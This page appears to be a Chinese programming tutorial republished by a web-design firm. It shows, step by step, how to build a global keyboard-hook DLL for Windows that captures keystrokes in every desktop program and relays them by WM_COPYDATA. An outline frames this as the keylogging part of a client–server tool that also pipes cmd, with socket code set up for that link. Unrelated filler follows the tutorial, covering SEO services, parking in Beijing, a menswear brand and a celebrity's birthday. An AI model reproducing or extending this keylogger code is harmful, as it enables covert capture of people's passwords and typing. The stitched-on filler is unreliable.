HOOK 鉤子
HHOOK SetWindowsHookEx( int idHook, // hook type HOOKPROC lpfn, // hook procedure HINSTANCE hMod, // handle to application instance DWORD dwThreadId // thread identifier);
鍵盤鉤子
WH_KEYBOARD
鉤全局/鉤本地
鉤子鏈,誰最后下鉤子,誰最先被調用
void CHOOKMFCDlg::OnBnClickedHook(){ // TODO: 在此添加控件通知處理程序代碼 g_hhk = SetWindowsHookEx(WH_KEYBOARD, //鉤子類型 (HOOKPROC)KeyboardProc, //回調函數 NULL, //表示第三方注入的DLL,全局鉤子使用 GetCurrentThreadId() //線程id,0表示鉤所有桌面程序 ); if (g_hhk == NULL) { AfxMessageBox(_T("下鉤子失敗")); return; } //否則就成功}
HHOOK g_hhk;//鍵盤鉤子回調函數LRESULT CALLBACK KeyboardProc(int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ){ //調試輸出工具,輸出調試字符串 //寫日志 OutputDebugStringA("keyboard pressed!"); //調用下一個鉤子 return CallNextHookEx(g_hhk, code, wParam, lParam);}
這里我按一下但是會顯示兩次,因為鍵盤按下和彈起是兩個動作
全局鉤子需要一個DLL(動態鏈接庫),程序依賴庫,庫提供了某些函數,我們需要編寫一個dll,將hook函數放在dll中,然后讓操作系統去使用該dll,讓其鉤住其他進程得鍵盤消息。
exe(調用鉤子函數) + Dll(編寫鉤子函數)
DLL
// dllmain.cpp : 定義 DLL 應用程序的入口點。#include "stdafx.h"#include <stdio.h>//提供鉤子回調函數HHOOK g_hhk;HMODULE g_hModule;//鍵盤鉤子回調函數LRESULT CALLBACK KeyboardProc(int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ){ //調試輸出工具,輸出調試字符串 //寫日志 //OutputDebugStringA("keyboard pressed!"); //虛擬鍵 我們鍵盤在我們windows中用一些宏來表示 unsigned int nVKCode = wParam; //表示按了a-z char szBuf[256] = { 0 }; if (nVKCode >= 'A' && nVKCode <= 'Z'){ sprintf_s(szBuf, "%c pressed", nVKCode); OutputDebugStringA(szBuf); } //調用下一個鉤子 return CallNextHookEx(g_hhk, code, wParam, lParam);}//dll導出函數,提供給其他程序使用BOOL MySetHook(){ g_hhk = SetWindowsHookEx(WH_KEYBOARD, //鉤子類型 (HOOKPROC)KeyboardProc, //回調函數 g_hModule, //表示第三方注入的DLL,全局鉤子使用,dll的模塊句柄 0 //線程id,0表示鉤所有桌面程序 ); if (g_hhk == NULL){ return FALSE; } return TRUE;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { //當dll被加載時調用 //編寫初始化操作 g_hModule = hModule; } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: { //當dll被釋放時候調用 //編寫反初始化操作 } break; } return TRUE;}
服務端—socket—-客戶端
1.cmd功能<---管道----cmd 2.鍵盤記錄<--- ----dll(keyboard hook) 最簡單的進程通信:發送消息WM_COPYDATA 這里我們創建一個win32項目 function.h
#pragma once//創建socketint insocket();
function.cpp
#include "stdafx.h"#include "function.h"#include <winSock2.h>#include <windows.h>#pragma comment(lib,"ws2_32.lib")SOCKET s;int insocket(){ //初始化 WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD(2, 2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) { return 0; } //創建套字節 s = socket(AF_INET, SOCK_STREAM , 0); if (INVALID_SOCKET == s) { return 0; } // 綁定套字節 sockaddr_in soadder; soadder.sin_family = AF_INET; soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); soadder.sin_port = htons(10087); int len = sizeof(sockaddr_in); return 1;}
創建一個函數insocket()用來創建socket
然后在win32項目寫入連接
int nRte = insocket(); if (nRte == 0) { OutputDebugStringA("error"); return 0; } //connent sockaddr_in soadder = { 0 }; soadder.sin_family = AF_INET; int len = sizeof(sockaddr_in); soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); soadder.sin_port = htons(10087); nRte = connect(s, (sockaddr*)&soadder, len); if (SOCKET_ERROR == nRte) { return 0; }
創建全局句柄用來獲取win32句柄給dll使用,因為dll里面獲取鍵盤內容要發送給客戶端所以要獲取客戶端句柄
g_hWnd = hWnd; BOOL bRet = MySetHook(g_hWnd); if (!bRet){ OutputDebugStringA("set hook error"); return 0; }
然后在回調函數里面進行處理
case WM_COPYDATA: { //表示我們dll發送的數據,我們在這里接受并處理 PCOPYDATASTRUCT pcds = (PCOPYDATASTRUCT)lParam; OutputDebugStringA((LPCSTR)pcds->lpData); }
然后是dll代碼
// dllmain.cpp : 定義 DLL 應用程序的入口點。#include "stdafx.h"#include <stdio.h>//提供鉤子回調函數HHOOK g_hhk;HMODULE g_hModule;HWND g_hWnd;//鍵盤鉤子回調函數LRESULT CALLBACK KeyboardProc(int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ){ //調試輸出工具,輸出調試字符串 //寫日志 //OutputDebugStringA("keyboard pressed!"); //虛擬鍵 我們鍵盤在我們windows中用一些宏來表示 unsigned int nVKCode = wParam; //表示按了a-z char szBuf[256] = { 0 }; if (nVKCode >= 'A' && nVKCode <= 'Z'){ sprintf_s(szBuf, "%c pressed", nVKCode); //OutputDebugStringA(szBuf); //改成向我們主窗口發送我們的鍵盤消息,WM_DATACOPY消息 COPYDATASTRUCT cds; cds.dwData = 0; cds.cbData =strlen(szBuf)+1; //表示數據的長度 cds.lpData = szBuf; //表示數據 SendMessage(g_hWnd, //向目標窗口發送消息 WM_COPYDATA, (WPARAM)g_hWnd, //表示當前自己的窗口句柄,可以不寫 (LPARAM)&cds //構建一個結構體用于將數據傳輸 ); } //調用下一個鉤子 return CallNextHookEx(g_hhk, code, wParam, lParam);}//dll導出函數,提供給其他程序使用BOOL MySetHook(HWND hWnd){ g_hWnd = hWnd; g_hhk = SetWindowsHookEx(WH_KEYBOARD, //鉤子類型 (HOOKPROC)KeyboardProc, //回調函數 g_hModule, //表示第三方注入的DLL,全局鉤子使用,dll的模塊句柄 0 //線程id,0表示鉤所有桌面程序 ); if (g_hhk == NULL){ return FALSE; } return TRUE;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { //當dll被加載時調用 //編寫初始化操作 g_hModule = hModule; } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: { //當dll被釋放時候調用 //編寫反初始化操作 } break; } return TRUE;}
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
朝陽門附近都有哪些商場?朝陽門外有豐聯廣場、華普超市、藍島大廈、上品折扣。北京路邊停車位全天收費標準?1.東方新天地和大華影院東單街由南向北。過了第一個紅綠燈,注意東邊的胡同。第一個是禁止的,第二個胡同入口,也就是大華電影院南邊的胡同入口,可以停車,免費。東單老家肉餅2旁邊的胡同里。西單教育部門前的路邊,2元/小時西單鐘繇在西單西側的地下停車場,只要在育新吃個飯就可以免費使用。西單圖書大廈長安街南...
安正男裝什么價位 安正男裝屬于什么檔次?安正男裝屬于什么檔次? 安正是安正時尚集團推出的高端男裝品牌,致力于滿足都市精英男士的時尚商務需求。該品牌成立于2010年,總部位于上海,其品牌包括尹默、九子、MOISSAC摩薩克和FIONACHEN斐娜晨。安正男裝詮釋了城市現代時尚紳士的形象,以堅持、真實、挑戰的生活理念,通過時尚精神的塑造和精湛的技術表達,使外部形象和精神狀態充滿活力和青春感。通過富...
王思聰生日什么時候?王思聰1988年1月3日出生于遼寧省大連市。他的祖籍是四川省蒼溪縣。他畢業于倫敦大學學院哲學系。王健林,萬達集團董事長。生日是1月3日。王思聰出席IG慶功宴,阿水生日蛋糕是定制的獎杯樣式,對此你怎么看?如果沒有王校長的默默努力,Ig今年就贏不了。王校長真的很喜歡游戲,喜歡電子競技,而且帶頭。因此,Ig團隊將得到很好的發展。在搞笑隊奪得世界冠軍后,俱樂部又獲得了DOTA和英雄聯盟...